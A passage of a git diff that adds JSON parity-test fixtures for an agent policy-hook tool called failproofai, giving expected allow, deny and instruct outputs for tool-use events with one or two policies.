b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a30cebe0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..86fa7cdc --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c05963d4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c4d06b43 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a2b159b3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..02ab7195 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c4763699 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a306b042 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..925d924f --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6538bfb5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..05ad483d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c698a00d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..115edfde --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..20e74fd0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fb53ee90 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..281b4d36 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3bea3d4a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6983bfdc --- /dev/null +++ b/__tests__/parity/fixtures/pi/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": 